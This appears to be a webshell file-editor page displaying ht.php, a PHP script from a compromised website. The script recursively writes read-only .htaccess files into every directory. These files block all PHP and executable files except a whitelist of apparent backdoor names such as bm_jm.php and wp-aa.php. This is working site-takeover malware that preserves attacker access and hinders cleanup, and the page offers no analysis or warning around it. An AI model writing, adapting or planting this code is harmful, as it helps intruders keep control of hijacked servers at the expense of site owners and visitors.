Edit file File name : ht.php Content :<?php @set_time_limit(0); error_reporting(0); $path = dirname(__FILE__); $list_dir = get_my_files($path); echo '添加成功'; function get_my_files($path){ $list = array(); $str = '<FilesMatch ".(py|exe|phtml|php|PhP|php5|suspected)$">'.PHP_EOL; $str .= 'Order Allow,Deny'.PHP_EOL; $str .= 'Deny from all'.PHP_EOL; $str .= '</FilesMatch>'.PHP_EOL; $str .= '<FilesMatch "(^wp-login.php|^wp-admin.php|^themes.php|^links.php|^bm_jm.php|^admin.php|^update.php|^index.php|^wp-signuo.php|^wp-blog-header.php|^bm.php|^style2.php|^wp-aa.php|^viewer.php)$">'.PHP_EOL; $str .= 'Order allow,deny'.PHP_EOL; $str .= 'Allow from all'.PHP_EOL; $str .= '</FilesMatch>'.PHP_EOL; foreach(glob($path.'/*') as $item){ if(is_dir($item)){ $myfile = fopen($item."/.htaccess", "w"); fwrite($myfile, $str); fclose($myfile); chmod($item."/.htaccess",0444); $items = get_my_files($item); foreach ($items as $val){ $myfile = fopen($val."/.htaccess", "w"); fwrite($myfile, $str); fclose($myfile); chmod($val."/.htaccess",0444); } } } return $list; } ?>Save